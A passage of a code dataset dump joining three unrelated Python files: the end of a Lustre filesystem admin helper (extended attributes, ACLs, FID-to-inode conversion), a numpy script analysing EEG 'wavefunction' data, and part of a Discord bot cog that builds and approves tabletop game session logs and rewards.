sp.Popen(lfs_cmd,stdout=sp.PIPE,universal_newlines=True)\n        resL = p1.stdout.readlines()\n        return resL\n\n#----------------------More attributes -------------------------------------------------------------------\n    def getea(self,fullpath):\n        \"\"\"\n           get extended attributes\n        \"\"\"\n        getea_cmd = [self.external_binariesD['getea_binary'],'-d','-m-',fullpath]\n        p1 = sp.Popen(getea_cmd,stdout=sp.PIPE,universal_newlines=True)\n        eventL = p1.stdout.readlines()\n        return eventL\n\n    def setea(self,fullpath,attrT):\n        \"\"\"\n           set extended attributes from an attribute tuple\n           won't work on anything already set by lustre\n           also won't work on user attributes unless mount -o user_xattr is used\n        \"\"\"\n        setea_cmd = [self.external_binariesD['setea_binary'],'-n',attrT[0],'-v',attrT[1]]\n        p1 = sp.Popen(setea_cmd,stdout=sp.PIPE,universal_newlines=True)\n        eventL = p1.stdout.readlines()\n        return eventL\n\n    def getfacl(self,fullpath):\n        \"\"\"\n           get ACLs for a subtree starting at fullpath\n        \"\"\"\n        getacl_cmd = [self.external_binariesD['getacl_binary'],'-R',fullpath]\n        p1 = sp.Popen(getacl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        eventL = p1.stdout.readlines()\n        return eventL\n\n    def setfacl(self,fullpath,aclS):\n        \"\"\"\n           set ACLs for a subtree starting at fullpath\n           use a filek\n           set extended attributes from an attribute tuple\n           won't work on anything already set by lustre\n           also won't work on user attributes unless mount -o user_xattr is used\n           ACLs can be directly concat'd from output of getfacl\n           \",\".join([list-of-acls not commented out])\n        \"\"\"\n        setacl_cmd = [self.external_binariesD['setacl_binary'],'-m',aclS,fullpath]\n        p1 = sp.Popen(setacl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        eventL = p1.stdout.readlines()\n        return eventL\n#--------------------- Class end -------------------------------------------------------------------\ndef get_ino_from_fid_direct(fidS):\n    \"\"\"\n        primarily derived from lustre-release/lustre/include/lustre_fid.h\n        other defns in\n          ./lustre/include/lustre/lustre_user.h\n          ./include/lustre/lustre_idl.h\n\n       Flatten 128-bit FID values into a 64-bit value for use as an inode number.\n       For non-IGIF FIDs this starts just over 2^32, and continues without\n       conflict until 2^64, at which point we wrap the high 24 bits of the SEQ\n       into the range where there may not be many OID values in use, to minimize\n       the risk of conflict.\n\n       Suppose LUSTRE_SEQ_MAX_WIDTH less than (1 << 24) which is currently true,\n       the time between re-used inode numbers is very long - 2^40 SEQ numbers,\n       or about 2^40 client mounts, if clients create less than 2^24 files/mount.\n\n    \"\"\"\n    def fid_is_igif(seq):\n        return (seq >= FID_SEQ_IGIF) and ( seq <= FID_SEQ_IGIF_MAX)\n\n    byte4 = 0xFFFFFFFF\n    byte8 = 0xFFFFFFFFFFFFFFFF\n    byte5 = 0xFFFFFF0000\n    FID_SEQ_IGIF            = 12\n    FID_SEQ_IGIF_MAX        = byte4\n\n    fid = fidS.strip(r'[]\\n').split(':')\n    assert len(fid) == 3, ('FID is malformed {}'.format(fidS))\n    seq = int(fid[0],16) & byte8\n    oid = int(fid[1],16) & byte4\n    ver = int(fid[2],16) & byte4\n    if fid_is_igif(seq):\n        return seq\n    ino = (seq << 24) + ((seq >> 24) & byte5) + oid\n    if not ino:\n        ino = oid\n    return ino\n","sub_path":"sf-lustre/src/sf_lustre/sorted-versions1/adminCmds.py","file_name":"adminCmds.py","file_ext":"py","file_size_in_byte":40401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"594349704","text":"from projects.qm_brain.utils.utils import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef get_probability(wavefun):\n\n    amplitude = np.abs(wavefun).T\n\n    ampMag = np.sqrt(np.sum((amplitude * amplitude).T, axis=0))\n\n    normAmp = (np.asarray(amplitude.T) / np.asarray(ampMag)).T\n\n    return normAmp * normAmp\n\ndef get_n_largest(array,n=92):\n    ind = np.argpartition(np.abs(array), -n)[-n:]\n    return array[ind]\n\n\nmain_path = '/home/user/Desktop/QMBrain/New Data/'\n\nfilepathX = main_path + 'x_chanloc.csv'\nfilepathY = main_path + 'y_chanloc.csv'\n\nx = load_matrix(filepathX)\ny = load_matrix(filepathY)\n\ncoord_stack = zip_x_y(x,y)\n\ncondition_list = ['Cond10/','Cond12/']\n\nfor condition in condition_list:\n\n    for i in range(13):\n\n        subject_path = main_path + condition + str(i + 1) + '/results/'\n\n        print('Running for subject ', i + 1, 'in folder ', condition)\n\n        filepathPos = subject_path + 'position_wavefunction_1d.npy'\n        filepathMom = subject_path + 'momentum_wavefunction.npy'\n\n        psi_x = np.squeeze(load_matrix(filepathPos))\n\n        psi_p = np.squeeze(load_matrix(filepathMom))\n\n\n        pos_wavefun = data_1d_to_2d(psi_x,x,y)\n\n        # Determine the 92 best points\n\n        psi_p_small = np.zeros(shape=(psi_p.shape[0], psi_p.shape[1]), dtype=np.complex64)\n\n        for t in range(psi_p.shape[0]):\n            psi_p_small[t, :] = get_n_largest(psi_p[t, ...].flatten())\n\n        momentum_prob = get_probability(psi_p_small.T)\n\n        prob_deriv = prob_derivative(probability)\n","sub_path":"projects/qm_brain/plots_fft.py","file_name":"plots_fft.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"631007987","text":"import discord\nimport asyncio\nimport re\nimport pytz\nfrom discord.utils import get        \nfrom discord.ext import commands  \nfrom discord.errors import Forbidden\nfrom datetime import datetime, timezone,timedelta\nfrom bfunc import db, traceBack, roleArray, settingsRecord, timezoneVar\nfrom cogs.util import calculateTreasure, callAPI, timeConversion, noodleRoleArray, uwuize\nfrom pymongo import UpdateOne\nfrom pymongo.errors import BulkWriteError\n\n\n\n\nguild_drive_costs = [4, 4, 6, 9, 13, 13]\n\nasync def generateLog(self, ctx, num : int, sessionInfo=None, guildDBEntriesDic=None, characterDBentries=None, userDBEntriesDic=None, ):\n    logData = db.logdata\n    if sessionInfo == None:\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n    \n    channel = self.bot.get_channel(settingsRecord[str(ctx.guild.id)][\"Sessions\"]) \n    editMessage = await channel.fetch_message(num)\n\n    if not editMessage or editMessage.author != self.bot.user:\n        print(\"Invalid Message\")\n        return None\n        \n    # get the collections of characters\n    playersCollection = db.players\n    guildCollection = db.guilds\n    statsCollection = db.stats\n    usersCollection = db.users\n\n    sessionLogEmbed = editMessage.embeds[0]\n    summaryIndex = sessionLogEmbed.description.find('Summary**')\n    description = sessionLogEmbed.description[summaryIndex:]+\"\\n\"\n    \n    role = sessionInfo[\"Role\"]\n    game = sessionInfo[\"Game\"]\n    start = sessionInfo[\"Start\"] \n    end = sessionInfo[\"End\"] \n    tierNum = sessionInfo[\"Tier\"]\n    \n    guilds = sessionInfo[\"Guilds\"]\n    \n    players = sessionInfo[\"Players\"] \n    #dictionary indexed by user id\n    # {cp, magic items, consumables, inventory, partial, status, user id, character id, character name, character level, character cp, double rewards, guild, }\n    \n    dm = sessionInfo[\"DM\"] \n    # {cp, magic items, consumables, inventory, partial, status, user id, character id, character name, character level, character cp, double rewards, guild, noodles}\n    \n    maximumCP = dm[\"CP\"]\n    \n    deathChars = []\n    allRewardStrings = {}\n                \n    characterIDs = [p[\"Character ID\"] for p in players.values()]\n    userIDs = list(players.keys())\n    guildIDs = list(guilds.keys())\n    for gt in guildIDs:\n        if guilds[gt][\"Status\"] == False:\n            del guilds[gt]\n            \n    \n    guildIDs = list(guilds.keys())\n    \n    userIDs.append(str(dm[\"ID\"]))\n    \n    # the db entry of every character\n    if characterDBentries == None:\n        characterDBentries = list(playersCollection.find({\"_id\": {\"$in\": characterIDs}}))\n    characterDBentriesDic = {character[\"_id\"] : character for character in characterDBentries}\n    # the db entry of every user\n    if userDBEntriesDic == None:\n        userDBentries = usersCollection.find({\"User ID\": {\"$in\": userIDs}})\n        userDBEntriesDic = {}\n        for u in userDBentries:\n            userDBEntriesDic[u[\"User ID\"]] = u\n        \n    \n    # the db entry of every guild\n    if guildDBEntriesDic == None:\n        guildDBEntriesDic = {}\n        guildDBentries = guildCollection.find({\"Name\": {\"$in\": guildIDs}})\n        for g in guildDBentries:\n            guildDBEntriesDic[g[\"Name\"]] = g\n            \n            if g[\"Reputation\"] >= guild_drive_costs[sessionInfo[\"Tier\"]]:\n                g[\"Reputation\"] -= guild_drive_costs[sessionInfo[\"Tier\"]]*guilds[g[\"Name\"]][\"Drive\"]\n            else:\n                guilds[g[\"Name\"]][\"Drive\"] = False\n            \n            if g[\"Reputation\"] >= 25:\n                g[\"Reputation\"] -= 25*guilds[g[\"Name\"]][\"Rewards\"]\n            else:\n                guilds[g[\"Name\"]][\"Rewards\"] = False\n            \n            if g[\"Reputation\"] >= 10:\n                g[\"Reputation\"] -= 10*guilds[g[\"Name\"]][\"Items\"]\n            else:\n                guilds[g[\"Name\"]][\"Items\"] = False\n    gold_modifier = 100\n    if \"Gold Modifier\" in sessionInfo:\n        gold_modifier = sessionInfo[\"Gold Modifier\"]\n    item_rewards = True\n    if \"Items\" in sessionInfo:\n        item_rewards = sessionInfo[\"Items\"]\n    for k, player in players.items():\n        # this indicates that the character had died\n        if player[\"Status\"] == \"Dead\":\n            deathChars.append(player)\n        \n        duration = player[\"CP\"] * 3600\n        \n        guildDouble = False\n        playerDouble = False\n        dmDouble = False\n        \n        if role != \"\":\n            guild_valid =(\"Guild\" in player and \n                            player[\"Guild\"] in guilds and \n                            guilds[player[\"Guild\"]][\"Status\"] and\n                            player[\"CP\"]>= 3 and player['Guild Rank'] > 1)\n            guildDouble = (guild_valid and \n                            guilds[player[\"Guild\"]][\"Rewards\"] and \n                            player[\"2xR\"])\n            if(guild_valid and \n                guilds[player[\"Guild\"]][\"Items\"] and \n                    player[\"2xI\"]):\n                \n                for i in player[\"Double Items\"]:\n                    if i[0] == \"Magic Items\":\n                        player[\"Magic Items\"].append(i[1])\n                    else:\n                        player[i[0]][\"Add\"].append(i[1])\n                \n            player[\"Double\"] = k in userDBEntriesDic.keys() and \"Double\" in userDBEntriesDic[k] and userDBEntriesDic[k][\"Double\"] >0\n            playerDouble = player[\"Double\"]\n                \n            dmDouble = False\n            bonusDouble = \"Bonus\" in sessionInfo and sessionInfo[\"Bonus\"]\n            \n            treasureArray  = calculateTreasure(player[\"Level\"], player[\"Character CP\"], duration, guildDouble, playerDouble, dmDouble, bonusDouble, gold_modifier)\n            treasureString = f\"{treasureArray[0]} CP, {sum(treasureArray[1].values())} TP, {treasureArray[2]} GP\"\n            \n            \n        else:\n            # if there were no rewards we only care about the time\n            treasureString = timeConversion(duration) \n        groupString = \"\"\n        groupString += guildDouble * \"2xR \"\n        groupString += playerDouble * \"Fanatic \"\n        groupString += bonusDouble * \"Bonus \"\n        groupString += f'{role} Friend {\"Full\"*(player[\"CP\"]==dm[\"CP\"])+\"Partial\"*(not player[\"CP\"]==dm[\"CP\"])} Rewards:\\n{treasureString}'\n        \n        # if the player was not present the whole game and it was a no rewards game\n        if role == \"\" and not (player[\"CP\"]==dm[\"CP\"]):\n            # check if the reward has already been added to the reward dictionary\n            if treasureString not in allRewardStrings:\n                # if not, create the entry\n                allRewardStrings[treasureString] = [player]\n            else:\n                # otherwise add the new players\n                allRewardStrings[treasureString] += [player] \n        else:\n            # check if the full rewards have already been added, if yes create it and add the players\n            if groupString in allRewardStrings:\n                allRewardStrings[groupString] += [player]\n            else:\n                allRewardStrings[groupString] = [player]\n\n\n    datestart = datetime.fromtimestamp(start).astimezone(pytz.timezone(timezoneVar)).strftime(\"%b-%d-%y %I:%M %p\")\n    dateend = datetime.fromtimestamp(end).astimezone(pytz.timezone(timezoneVar)).strftime(\"%b-%d-%y %I:%M %p\")\n    totalDuration = timeConversion(end - start)\n    sessionLogEmbed.title = f\"Timer: {game} [END] - {totalDuration}\"\n    dm_double_string = \"\"\n    dmRewardsList = []\n    #DM REWARD MATH STARTS HERE\n    if(\"Character ID\" in dm):\n        charLevel = int(dm['Level'])\n        k = (dm['ID'])\n        player = dm\n        dm_tier_num = 5\n        # calculate the tier of the DM character\n        if charLevel < 5:\n            dmRole = 'Junior'\n            dm_tier_num = 1\n        elif charLevel < 11:\n            dmRole = 'Journey'\n            dm_tier_num = 2\n        elif charLevel < 17:\n            dmRole = 'Elite'\n            dm_tier_num = 3\n        elif charLevel < 20:\n            dmRole = 'True'\n            dm_tier_num = 4\n        else:\n            dmRole = 'Ascended'\n            \n        duration = player[\"CP\"]*3600\n        if role != \"\":\n            guild_valid =(\"Guild\" in player and \n                            player[\"Guild\"] in guilds and \n                            guilds[player[\"Guild\"]][\"Status\"] and\n                            player[\"CP\"]>= 3 and player['Guild Rank'] > 1)\n                            \n            guildDouble = (guild_valid and \n                            guilds[player[\"Guild\"]][\"Rewards\"] and \n                            player[\"2xR\"])\n            \n            player[\"Double\"] = k in userDBEntriesDic.keys() and \"Double\" in userDBEntriesDic[k] and userDBEntriesDic[k][\"Double\"] >0\n            \n            playerDouble = player[\"Double\"]\n            \n            if(guild_valid and \n                guilds[player[\"Guild\"]][\"Items\"] and \n                    player[\"2xI\"]):\n                \n                for i in player[\"Double Items\"]:\n                    if i[0] == \"Magic Items\":\n                        player[\"Magic Items\"].append(i[1])\n                    else:\n                        player[i[0]][\"Add\"].append(i[1])\n            \n            dmDouble = player[\"DM Double\"] and sessionInfo[\"DDMRW\"]\n            bonusDouble = \"Bonus\" in sessionInfo and sessionInfo[\"Bonus\"]\n            \n            dm_double_string += guildDouble * \"2xR \"\n            dm_double_string += playerDouble * \"Fanatic \"\n            dm_double_string += dmDouble * \"DDMRW \"\n            dm_double_string += bonusDouble * \"Bonus \"\n            \n            dmtreasureArray  = calculateTreasure(player[\"Level\"], player[\"Character CP\"], duration, guildDouble, playerDouble, dmDouble, bonusDouble)\n            \n        \n        # add the items that the DM awarded themselves to the items list\n        \n        if item_rewards:\n            for d in dm[\"Magic Items\"]+dm[\"Consumables\"][\"Add\"]+dm[\"Inventory\"][\"Add\"]:\n                dmRewardsList.append(\"+\"+d)\n    \n    # get the collections of characters\n    playersCollection = db.players\n    dmEntry = userDBEntriesDic[dm[\"ID\"]]\n    if 'Noodles' not in dmEntry:\n        dmEntry['Noodles'] = 0\n    if \"DM Time\" not in dmEntry:\n        dmEntry[\"DM Time\"] = 0\n    noodles = dmEntry[\"Noodles\"]\n    # Noodles Math\n    \n    duration = end - start\n    if duration < 3*3600:\n        duration = 0\n    noodlesGained = int((duration + dmEntry[\"DM Time\"])//(3*3600))\n    \n    # calculate the hour duration and calculate how many 3h segements were played\n    hoursPlayed = maximumCP\n    # that is the base line of sparkles and noodles gained\n    sparklesGained = int(hoursPlayed) // 3\n    # add the noodles to the record or start a record if needed\n        \n    #new noodle total\n    noodleFinal = noodles + noodlesGained\n    noodleFinalString = f\"{str(noodleFinal)}:star: (+{noodlesGained}:star:)\"\n\n    # if the game received rewards\n    if role != \"\": \n        # clear the embed message to repopulate it\n        sessionLogEmbed.clear_fields() \n        # for every unique set of TP rewards\n        for key, value in allRewardStrings.items():\n            temp = \"\"\n            # for every player of this reward\n            for v in value:\n                vRewardList = []\n                # for every brough consumable for the character\n                if item_rewards:\n                    for r in  v[\"Magic Items\"]+ v[\"Consumables\"][\"Add\"]+ v[\"Inventory\"][\"Add\"]:\n                        # add the awarded items to the list of rewards\n                        vRewardList.append(\"+\"+r)\n                # if the character was not dead at the end of the game\n                char_name = v['Character Name']\n                if \"Paused\" in characterDBentriesDic[v['Character ID']] and characterDBentriesDic[v['Character ID']][\"Paused\"]:\n                    char_name = \"[PAUSED] \" + char_name\n                    vRewardList = []\n                if v not in deathChars:\n                    temp += f\"{v['Mention']} | {char_name} {', '.join(vRewardList).strip()}\\n\"\n                else:\n                    # if they were dead, include that death\n                    temp += f\"~~{v['Mention']} | {char_name}~~ **DEATH** {', '.join(vRewardList).strip()}\\n\"\n            \n            # since if there is a player for this reward, temp will have text since every case above results in changes to temp\n            # this informs us that there were no players\n            if temp == \"\":\n                temp = 'None'\n            # add the information about the reward to the embed object\n            sessionLogEmbed.add_field(name=f\"**{key}**\\n\", value=temp, inline=False)\n            # add temp to the total output string\n\n        # list of all guilds\n        guildsListStr = \"\"\n        \n        guildRewardsStr = \"\"\n        players[dm[\"ID\"]] = dm\n        # passed in parameter, check if there were guilds involved\n        if guilds != dict():\n            guildsListStr = \"Guilds: \"\n            # for every guild in the game\n            for name, g in guilds.items():\n                \n                guildsListStr += \"\\n\"+(g[\"Drive\"]*\"**Recruitment Drive** \")+(g[\"Rewards\"]*\"**2xR** \")+(g[\"Items\"]*\"**2xI** \")+g[\"Mention\"]\n                # get the DB record of the guild\n                #filter player list by guild\n                gPlayers = [p for p in players.values() if \"Guild\" in p and p[\"Guild\"]==name]\n                if(len(gPlayers)>0): \n                    gain = 0\n                    for p in gPlayers:\n                        gain += p[\"CP\"]  // 3\n                    \n                    gain += sparklesGained*int(\"Guild\" in dm and dm[\"Guild\"] == name)\n                    guildRewardsStr += f\"{g['Name']}: +{int(gain)} :sparkles:\\n\"\n        \n        noodleCongrats = \"\"\n        # for the relevant noodle role cut-off check if the user would now qualify for the role and if they do not have it and remove the old role\n        noodles_barrier = 0\n        for i in range(len(noodleRoleArray)):\n            if noodles < max(noodles_barrier, 1) and noodleFinal >= max(noodles_barrier, 1):\n                noodleCongrats = f\"Congratulations! You have reached {noodleRoleArray[i]}!\"\n            noodles_barrier += 10*(i+1)\n        game_channel = get(ctx.guild.text_channels, name = sessionInfo['Channel'])\n        if not game_channel:\n            game_channel = sessionInfo['Channel']\n        else:\n            game_channel = f\"<#{game_channel.id}>\"\n        sessionLogEmbed.title = f\"\\n**{game}**\\n*Tier {tierNum} Quest*\"\n        sessionLogEmbed.description = f\"{game_channel}\\n{guildsListStr}\\n**Start**: {datestart} EDT\\n**End**: {dateend} EDT\\n**Runtime**: {totalDuration}\\n**General \"+description\n        status_text = \"Log is being processed! Characters are currently on hold.\"\n        await editMessage.clear_reactions()\n        if sessionInfo[\"Status\"] == \"Approved\":\n            status_text = \"✅ Log approved! The DM and players have received their rewards and their characters can be used in further one-shots.\"\n        elif sessionInfo[\"Status\"] == \"Denied\":\n            status_text = \"❌ Log Denied! Characters have been cleared\"\n            noodleCongrats = \"\"\n        elif sessionInfo[\"Status\"] == \"Pending\":\n            status_text = \"❔ Log Pending! DM has been messaged due to session log issues.\"\n            \n            await editMessage.add_reaction('<:nipatya:408137844972847104>')\n        gold_mod_text = f\"Current GP earned: {gold_modifier}%\\n\"\n        sessionLogEmbed.set_footer(text=f\"Game ID: {num}\\n{status_text}\\n{gold_mod_text}{noodleCongrats}\")\n        if noodleCongrats:\n            await editMessage.add_reaction('🎉')\n            await editMessage.add_reaction('🎊')\n            await editMessage.add_reaction('🥳')\n            await editMessage.add_reaction('🍾')\n            await editMessage.add_reaction('🥂')\n        \n        # add the field for the DM's player rewards\n        dm_text = \"**No Character**\"\n        dm_name_text = \"**No Rewards**\"\n        # if no character signed up then the character parts are excluded\n        if(\"Character ID\" in dm):\n            dm_char = playersCollection.find_one({\"_id\": dm[\"Character ID\"]})\n            paused = \"Paused\" in dm_char and dm_char[\"Paused\"]\n            dm_text = f\"{'[PAUSED] ' * paused + dm['Character Name']} {', '.join(dmRewardsList* (not paused))}\"\n            dm_name_text = f\"DM {dm_double_string}Rewards (Tier {dm_tier_num}):\\n**{dmtreasureArray[0]} CP, {sum(dmtreasureArray[1].values())} TP, {dmtreasureArray[2]} GP**\\n\"\n        sessionLogEmbed.add_field(value=f\"{dm['Mention']} | {dm_text}\\n{noodleFinalString}\", name=dm_name_text)\n        \n        # if there are guild rewards then add a field with relevant information\n        if guildRewardsStr != \"\":\n            sessionLogEmbed.add_field(value=guildRewardsStr, name=f\"Guild Rewards\", inline=False)\n        await editMessage.edit(embed=sessionLogEmbed)\n    \n    pass\n        \nclass Log(commands.Cog):\n    def __init__ (self, bot):\n        self.bot = bot\n    def is_log_channel():\n        async def predicate(ctx):\n            if ctx.channel.type == discord.ChannelType.private:\n                return False\n            return (ctx.channel.category_id == settingsRecord[str(ctx.guild.id)][\"Player Logs\"] or \n                    ctx.channel.category_id == settingsRecord[str(ctx.guild.id)][\"Game Rooms\"] or\n                    ctx.channel.category_id == settingsRecord[str(ctx.guild.id)][\"Mod Rooms\"])\n        return commands.check(predicate)\n    @commands.group(case_insensitive=True)\n    @is_log_channel()\n    async def session(self, ctx):\t\n        pass\n        \n    async def cog_command_error(self, ctx, error):\n        msg = None\n\n        if isinstance(error, commands.MissingAnyRole):\n            msg = \"You do not have the required permissions for this command.\"\n        elif isinstance(error, commands.BadArgument):\n            # convert string to int failed\n            msg = \"Your session ID was an incorrect format.\"\n        elif isinstance(error, discord.NotFound):\n            msg = \"The session log could not be found.\"\n        else:\n            if isinstance(error, commands.MissingRequiredArgument):\n                msg = \"Your command was missing an argument! \"\n            elif isinstance(error, commands.CheckFailure):\n                msg = \"This channel or user does not have permission for this command.\"\n            elif isinstance(error, commands.UnexpectedQuoteError) or isinstance(error, commands.ExpectedClosingQuoteError) or isinstance(error, commands.InvalidEndOfQuotedStringError):\n              msg = \"\"\n\n            if msg:\n                ctx.command.reset_cooldown(ctx)\n                await ctx.channel.send(msg)\n                #await traceBack(ctx,error)\n            else:\n                ctx.command.reset_cooldown(ctx)\n                await traceBack(ctx,error)\n\n    @commands.has_any_role('Mod Friend', 'Admins')\n    @session.command()\n    async def approve(self,ctx,  num : int):\n        channel = self.bot.get_channel\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        channel = self.bot.get_channel(settingsRecord[str(ctx.guild.id)][\"Sessions\"]) \n        editMessage = None\n        \n        try:\n            editMessage = await channel.fetch_message(num)\n        except Exception as e:\n            return await ctx.channel.send(\"Log could not be found.\")\n            \n            \n\n        if not sessionInfo:\n            return await ctx.channel.send(\"Session could not be found.\")\n            \n        if sessionInfo[\"Status\"] == \"Approved\" or sessionInfo[\"Status\"] == \"Denied\":\n            await ctx.channel.send(\"This session has already been processed\")\n            return\n        if ctx.author.id == int(sessionInfo[\"DM\"][\"ID\"]):\n            await ctx.channel.send(\"You cannot approve your own log.\")\n            return\n        if not editMessage or editMessage.author != self.bot.user:\n            return await ctx.channel.send(\"Session has no corresponding message in the log channel.\")\n\n\n        \n        guilds = sessionInfo[\"Guilds\"]\n        tierNum = sessionInfo[\"Tier\"]\n        role = sessionInfo[\"Role\"]\n        \n        #dictionary indexed by user id\n        players = sessionInfo[\"Players\"] \n        # {cp, magic items, consumables, inventory, status, character id, character name, character level, character cp, double rewards, guild, }\n                \n                    \n        dm = sessionInfo[\"DM\"] \n        # {cp, magic items, consumables, inventory, character id, character name, character level, character cp, double rewards, guild, noodles, dm double}\n        event_inc = 1*(\"Event\" in sessionInfo and sessionInfo[\"Event\"])\n        maximumCP = dm[\"CP\"]\n        deathChars = []\n        playerUpdates = []\n        \n        # get the collections of characters\n        playersCollection = db.players\n        guildCollection = db.guilds\n        statsCollection = db.stats\n        usersCollection = db.users\n        \n        characterIDs = [p[\"Character ID\"] for p in players.values()]\n        userIDs = list(players.keys())\n        guildIDs = list(guilds.keys())\n        \n        userIDs.append(str(dm[\"ID\"]))\n        \n        # the db entry of every character\n        characterDBentries = list(playersCollection.find({\"_id\": {\"$in\": characterIDs}}))\n        \n        # the db entry of every user\n        userDBentries = usersCollection.find({\"User ID\": {\"$in\": userIDs}})\n    \n        # the db entry of every guild\n        guildDBentries = guildCollection.find({\"Name\": {\"$in\": guildIDs}})\n        guildDBEntriesDic = {}\n        for g in guildDBentries:\n            guildDBEntriesDic[g[\"Name\"]] = g\n            if g[\"Reputation\"] >= guild_drive_costs[sessionInfo[\"Tier\"]]:\n                g[\"Reputation\"] -= guild_drive_costs[sessionInfo[\"Tier\"]]*guilds[g[\"Name\"]][\"Drive\"]\n            else:\n                guilds[g[\"Name\"]][\"Drive\"] = False\n            \n            if g[\"Reputation\"] >= 25:\n                g[\"Reputation\"] -= 25*guilds[g[\"Name\"]][\"Rewards\"]\n            else:\n                guilds[g[\"Name\"]][\"Rewards\"] = False\n            \n            if g[\"Reputation\"] >= 10:\n                g[\"Reputation\"] -= 10*guilds[g[\"Name\"]][\"Items\"]\n            else:\n                guilds[g[\"Name\"]][\"Items\"] = False\n        \n        userDBEntriesDic = {}\n        for u in userDBentries:\n            userDBEntriesDic[u[\"User ID\"]] = u\n\n        \n        gold_modifier = 100\n        if \"Gold Modifier\" in sessionInfo:\n            gold_modifier = sessionInfo[\"Gold Modifier\"]\n        item_rewards = True\n        if \"Items\" in sessionInfo:\n            item_rewards = sessionInfo[\"Items\"]\n        for character in characterDBentries:\n            player = players[str(character[\"User ID\"])]\n            # this indicates that the character had died\n            if player[\"Status\"] == \"Dead\":\n                deathChars.append(player)\n            \n            duration = player[\"CP\"] * 3600\n            player[\"Double\"] = False\n            guildDouble = False\n            playerDouble = False\n            dmDouble = False\n\n            if not (\"Paused\" in character and character[\"Paused\"]):\n                guild_valid =(\"Guild\" in player and \n                                player[\"Guild\"] in guilds and \n                                guilds[player[\"Guild\"]][\"Status\"] and\n                            player[\"CP\"]>= 3 and player['Guild Rank'] > 1)\n                guildDouble = (guild_valid and \n                                guilds[player[\"Guild\"]][\"Rewards\"] and \n                                player[\"2xR\"])\n                \n\n                player[\"Double\"] = str(character[\"User ID\"]) in userDBEntriesDic.keys() and \"Double\" in userDBEntriesDic[str(character[\"User ID\"])] and userDBEntriesDic[str(character[\"User ID\"])][\"Double\"] >0\n                playerDouble = player[\"Double\"]\n                dmDouble = False\n                bonusDouble = \"Bonus\" in sessionInfo and sessionInfo[\"Bonus\"]\n                \n                treasureArray  = calculateTreasure(player[\"Level\"], character[\"CP\"] , duration, guildDouble, playerDouble, dmDouble, bonusDouble, gold_modifier)\n                \n                if(guild_valid and \n                        guilds[player[\"Guild\"]][\"Items\"] and \n                        player[\"2xI\"]):\n                    \n                    for i in player[\"Double Items\"]:\n                        if i[0] == \"Magic Items\":\n                            player[\"Magic Items\"].append(i[1])\n                        else:\n                            player[i[0]][\"Add\"].append(i[1])\n                    player[\"Double Items\"] = []\n                \n                \n                # create a list of all items the character has\n                consumableList = character[\"Consumables\"].split(\", \")\n                consumablesString = \"\"\n                if not item_rewards:\n                    player[\"Consumables\"][\"Add\"] = []\n                    player[\"Inventory\"][\"Add\"] = []\n                    player[\"Magic Items\"] = []\n                \n                #if we know they didnt have any items, we know that changes could only be additions\n                if(character[\"Consumables\"]==\"None\"):\n                    # turn the list of added items into the new string\n                    consumablesString = \", \".join(player[\"Consumables\"][\"Add\"])\n                else:\n                    #remove the removed items from the list of original items and then combine the remaining and the new items                \n                    for i in player[\"Consumables\"][\"Remove\"]:\n                        consumableList.remove(i)\n                    consumablesString = \", \".join(player[\"Consumables\"][\"Add\"]+consumableList)\n                    \n                # if the string is empty, turn it into none\n                consumablesString += \"None\"*(consumablesString==\"\")\n                \n                # magic items cannot be removed so we only care about addtions\n                # if we have no items and no additions, string is None\n                \n                magicItemString = \"None\"\n                if(character[\"Magic Items\"]==\"None\"):\n                    if(len(player[\"Magic Items\"])==0):\n                        pass\n                    else:\n                        # otherwise it is just the combination of new items\n                        magicItemString = \", \".join(player[\"Magic Items\"])\n                else:\n                    # otherwise connect up the old and new items\n                    magicItemString = character[\"Magic Items\"]+(\", \"+ \", \".join(player[\"Magic Items\"]))*(len(player[\"Magic Items\"])>0)\n                \n                \n                # increase the relevant inventory entries and create them if necessary\n                for i in player[\"Inventory\"][\"Add\"]:\n                    if i in character[\"Inventory\"]:\n                        character[\"Inventory\"][i] += 1\n                    else:\n                        character[\"Inventory\"][i] = 1\n                \n                # decrement the relevant items and delete the entry when necessary\n                for i in player[\"Inventory\"][\"Remove\"]:\n                    character[\"Inventory\"][i] -= 1\n                    if int(character[\"Inventory\"][i]) <= 0:\n                        del character[\"Inventory\"][i]\n                \n                # set up all db values that need to be incremented\n                increment = {\"CP\":  treasureArray[0], \n                            \"GP\":  treasureArray[2],\n                            \"Games\": 1,\n                            \"Event Token\" : event_inc}\n                # for every TP tier value that was gained create the increment field\n                for k,v in treasureArray[1].items():\n                    increment[k] = v\n                player_set = {\"Consumables\": consumablesString, \n                                \"Magic Items\": magicItemString, \n                                \"Inventory\" : character[\"Inventory\"], \n                                \"Drive\" : []}\n                for g in guilds.values():\n                    if g[\"Drive\"] and player[\"CP\"]>= 3:\n                        player_set[\"Drive\"]=g[\"Name\"]\n                \n                charRewards = {'_id': player[\"Character ID\"],  \n                                    \"fields\": {\"$unset\": {f\"GID\": 1} ,\"$inc\": increment, \n                                    \"$set\": player_set}}\n                if(player[\"Status\"] == \"Dead\"):\n                    del charRewards[\"fields\"][\"$inc\"][\"Games\"]\n                    deathDic = {\"inc\": increment.copy(), \"set\": charRewards[\"fields\"][\"$set\"]}\n                    charRewards[\"fields\"][\"$inc\"] = {\"Games\": 1}\n                    charRewards[\"fields\"][\"$set\"] = {\"Death\": deathDic}\n                playerUpdates.append(charRewards)\n            else:\n                playerUpdates.append({'_id': player[\"Character ID\"],\n                                        'fields': {\"$unset\": {f\"GID\": 1} ,\n                                        \"$inc\": {\"Stored\": duration,\n                                                    \"Games\": 1,\n                                                    \"Event Token\" : event_inc}}})\n        dmRewardsList = []\n        dm[\"Double\"] = False\n        #DM REWARD MATH STARTS HERE\n        if(\"Character ID\" in dm):\n        \n            player = dm\n            \n            duration = player[\"CP\"] * 3600\n            \n            \n            # the db entry of every character\n            character = playersCollection.find_one({\"_id\": dm[\"Character ID\"]})\n            player[\"Double\"] = False\n            if not (\"Paused\" in character and character[\"Paused\"]):\n                charLevel = int(dm['Level'])\n                # calculate the tier of the DM character\n                dmTierNum= 5\n                dmRole = \"Ascended\"\n                if charLevel < 5:\n                    